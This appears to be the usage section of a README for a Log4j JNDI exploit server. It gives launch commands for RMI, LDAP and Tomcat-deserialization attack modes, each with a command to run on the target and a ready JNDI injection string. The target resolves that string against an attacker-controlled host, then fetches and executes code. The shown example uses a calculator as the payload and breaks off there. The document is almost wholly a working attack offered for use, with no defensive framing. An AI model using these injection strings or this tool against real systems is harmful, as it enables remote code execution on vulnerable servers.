## Usages
### 1.RMI Attack Vector
`java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 1 <RMI_IP> <RMI_PORT> <HTTP_PORT> <COMMAND>`
You don't need to host the Exploit.class anymore. The app will start an HTTP server on the indicated port.
You must indicate the command you want to run in the target.
`Injection: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}`
### 2.LDAP Attack Vector
`java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 2 <LDAP_IP> <LDAP_PORT> <HTTP_PORT> <COMMAND>`
You don't need to host the Exploit.class anymore. The app will start an HTTP server on the indicated port.
You must indicate the command you want to run in the target.
`Injection: {jndi:ldap://<LDAP_IP>:<LDAP_PORT>/Exploit}`
### 3.Deserialization Attack Vector (Using Tomcat payload)
`java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 <RMI_IP> <RMI_PORT> <COMMAND>`
`Injection: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}`
## Example
```shell
$ java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 127.0.0.1 1389 /usr/bin/gnome-calculator
